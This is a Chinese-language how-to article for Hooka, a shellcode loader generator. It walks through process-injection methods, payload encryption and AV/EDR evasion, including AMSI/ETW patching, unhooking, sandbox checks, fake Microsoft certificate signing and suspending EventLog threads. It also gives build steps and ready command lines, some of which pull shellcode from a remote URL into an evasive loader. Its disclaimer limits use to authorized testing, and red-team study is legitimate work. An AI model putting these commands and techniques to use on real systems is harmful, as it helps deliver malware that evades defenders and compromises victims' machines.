Hooka:多功能 Shellcode 加载器生成工具详解
Hooka
介绍
Hooka 是一款功能强大的 shellcode 加载器生成工具。它能够生成多种功能的 shellcode 加载器,并基于 BokuLoader、Freeze 或 Shhhloader 等其他工具,尝试实现更多规避功能。尽管 Golang 不是恶意软件开发的完美语言,但它非常适合用于测试目的。如果你需要一个专业且万无一失的加载器,建议使用 C++、C# 或其他类似的语言来创建自己的加载器。
项目地址
https://github.com/D3Ext/Hooka.git
功能
Hooka 的强大之处在于其丰富的功能组合,覆盖从注入到规避的全流程需求:
多种注入技术
Hooka 支持多种注入技术,满足不同场景需求:
-
SuspendedProcess:暂停目标进程,注入 shellcode 后恢复进程。
-
ProcessHollowing:创建一个空进程,替换其内存映像以注入 shellcode。
-
NtCreateThreadEx:使用 Windows API 创建线程以注入 shellcode。
-
EtwpCreateEtwThread:利用 ETW(事件跟踪)创建线程以注入 shellcode。
-
NtQueueApcThreadEx:使用异步过程调用(APC)注入 shellcode。
-
No-RWX:通过非可执行内存区域注入 shellcode。
灵活的 Shellcode 来源
Hooka 支持从多种来源加载 shellcode:
-
本地文件:支持 PE 和 DLL 格式的本地文件。
-
远程 URL:可以直接从远程 URL 加载 shellcode。
-
内置测试用例:内置 calc.exe 测试用例,方便快速验证功能。
示例:
从原始文件、PE、DLL 或 URL 获取 shellcode
支持 EXE 和 DLL 作为输出加载器格式
加密与混淆
Hooka 提供多种加密和混淆选项,以提高 shellcode 的隐蔽性和安全性:
-
AES:高级加密标准。
-
3DES:三重数据加密算法。
-
RC4:流加密算法。
-
XOR:简单的异或加密。
此外,Hooka 还支持 Shikata Ga Nai 编码和 Caesar 密码混淆字符串。
示例:
AES、3DES、RC4、XOR
反检测机制
Hooka 默认修补 AMSI 和 ETW,并支持多种反检测技术,以降低被检测的风险:
-
AMSI 和 ETW 修补(默认启用):修补 AMSI 和 ETW,防止被检测。
-
随机变量和函数名称:使用随机变量和函数名称,增加代码的复杂性。
-
Shikata Ga Nai 混淆:使用 Shikata Ga Nai 编码混淆代码。
-
检测沙箱的多种方法:通过多种方法检测沙箱环境。
-
运行前检查用户名和计算机名称是否匹配:确保仅在预期环境中运行。
-
启用 ACG Guard 保护:防止 AV/EDR 修改现有的可执行代码。
-
阻止非 Microsoft 签名的 DLL 注入到创建的进程中:确保注入的 DLL 是可信的。
示例:
AMSI 和 ETW 修补(默认启用)
随机变量和函数名称
Shikata Ga Nai 混淆
检测沙箱的多种方法
运行前检查用户名和计算机名称是否匹配
启用 ACG Guard 保护
阻止非 Microsoft 签名的 DLL 注入到创建的进程中
解钩与隐蔽
Hooka 支持多种高级解钩和隐蔽技术,以降低被 EDR 捕获的风险:
-
Classic:经典的解钩技术。
-
Full DLL:全面的 DLL 解钩技术。
-
Perun's Fart technique:Perun 的 Fart 技术。
-
Phant0m 技术挂起 EventLog 线程:使用 Phant0m 技术挂起 EventLog 线程。
-
Windows API 哈希:使用 Windows API 哈希来检索函数指针。
示例:
Classic
Full DLL
Perun's Fart technique
Phant0m 技术挂起 EventLog 线程
Windows API 哈希
签名与压缩
Hooka 提供可选的真实或伪造证书签名,并结合 UPX 压缩减少文件体积,提升隐蔽性:
-
使用假证书或真实证书对 shellcode 加载程序进行签名:提高加载程序的可信度。
-
通过 Caesar 密码进行字符串混淆:混淆字符串以防止静态分析。
-
使用 Golang compile 和 UPX(如果已安装)压缩代码:减少文件体积,提高隐蔽性。
-
计算 loader 的二进制熵:评估文件的随机性。
-
计算 MD5、SHA1 和 SHA256 校验和以跟踪加载程序:确保文件的完整性和一致性。
示例:
使用假证书或真实证书对 shellcode 加载程序进行签名
通过 Caesar 密码进行字符串混淆
使用 Golang compile 和 UPX(如果已安装)压缩代码权重
计算 loader 的二进制熵
计算 MD5、SHA1 和 SHA256 校验和以跟踪加载程序
快速安装
安装 Hooka 非常简单,只需按照以下步骤操作:
git clone https://github.com/D3Ext/Hooka
cd Hooka
make
工具参数
必需参数
这些参数是使用 Hooka 的基本要求:
-i, --input 字符串 有效负载以原始格式注入,如 PE、DLL 或从 URL 注入
-o, --output 输出文件的字符串名称(即 loader.exe)
-f, --format 要生成的有效负载的字符串格式(可用:exe、dll)(默认 EXE)
执行参数
这些参数用于指定执行技术和其他相关选项:
--proc string 字符串进程,在给定执行技术需要时生成(处于暂停状态)(默认 notepad.exe)
--exec string 字符串技术用于加载 shellcode(默认为 “SuspendedProcess”):
SuspendedProcess
ProcessHollowing
NtCreateThreadEx
EtwpCreateEtwThread
NtQueueApcThreadEx
No-RWX
辅助参数
这些参数用于指定生成的加载程序的架构和其他辅助选项:
-a, --arch string 要生成的 loader 的架构(默认 amd64)
-c, --cert string 用于对生成的加载程序进行签名的证书(即 cert.pfx)
-d, --domain string 用于对加载程序进行签名的域(即 www.microsoft.com)
编码参数
这些参数用于指定加密和混淆选项:
--enc string 使用给定的算法加密 shellcode(可用:AES、3DES、RC4、XOR)(默认无)
--sgn 使用 Shikata Ga Nai 对生成的 loader 进行编码(必须安装在 path 上)
--strings 使用 Caesar cipher 混淆字符串
规避参数
这些参数用于指定反检测和隐蔽技术:
--unhook string 解钩技术 (available: full, peruns)
--sandbox 启用 Sandbox 规避
--no-amsi 不修补 AMSI
--no-etw 不要修补 ETW
--hashing 使用哈希检索函数指针
--user string 仅当运行加载程序的用户是预期用户(即 DESKTOP-E1D6G0Aadmin)时,才继续
--computername string 仅当计算机名称为预期名称(即 DESKTOP-E1D6G0A)时才继续
--acg 启用 ACG Guard 以防止 AV/EDR 修改现有的可执行代码
--blockdlls 防止非 Microsoft 签名的 DLL 注入子进程
--phantom 使用 Phant0m 技术挂起 EventLog 线程。需要高权限,否则 loader 会跳过此步骤
--sleep 使用自定义 sleep 函数延迟 shellcode 执行
额外参数
这些参数用于其他额外功能:
--calc 使用 calc.exe shellcode 来测试 loader 功能(不提供输入文件)
--compress 使用 Golang 编译器和 UPX(如果已安装)压缩生成的加载器
-r, --rand 使用一组随机参数创建随机加载器(仅用于测试目的)
-v, --verbose 启用 verbose 以打印额外信息
-h, --help 打印帮助面板
用法
基础生成
以下是一些基本的生成示例:
hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
高级配置
使用 NtCreateThreadEx 注入,启用 ACG 保护,延迟执行:
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
隐蔽增强
生成 DLL 格式,AES 加密,伪装微软域名签名:
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
生成简单的 EXE 加载程序
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe
生成 DLL 加载程序
$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll
使用自定义配置(各种示例)
以下是一些自定义配置的示例:
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls
$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose
$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0Atom" --computername "DESKTOP-E1D6G0A" --compress --strings
工具示例
以下是 Hooka 工具的一些使用示例图片:
注意事项
在使用 Hooka 时,请确保遵守相关法律法规,避免将其用于非法活动。以下是一些使用时的注意事项:
-
合法性验证:确保生成的加载器仅用于授权环境下的测试或研究。
-
环境隔离:建议在隔离环境中测试生成的加载器,以防止意外影响正常系统。
-
更新依赖:定期更新工具及其依赖项,以获得最新功能和修复已知漏洞。
社区支持
如果在使用过程中遇到问题,可以参考以下资源获取帮助:
-
GitHub Issues:提交问题或功能请求至 项目 Issues 页面。
-
社区讨论:加入相关安全社区,与其他用户交流使用经验。
总结
Hooka 是一款功能强大的工具,适用于渗透测试和安全研究。通过灵活的配置选项,用户可以生成高度定制化的加载器,同时结合多种规避技术,降低被检测的风险。然而,工具的使用需谨慎,确保符合道德和法律规范。
希望这篇详细的介绍能帮助您更好地理解和使用 Hooka 工具。祝您在安全研究的道路上越走越远!
参考链接:
-
Hooka GitHub 项目
-
Shikata Ga Nai 编码
-
UPX 压缩工具
版权声明:
本文档中的所有内容仅供学习和研究之用,不得用于任何非法目的。作者和团队不对因使用本文档而产生的任何后果负责。请遵守相关法律法规,合理使用工具。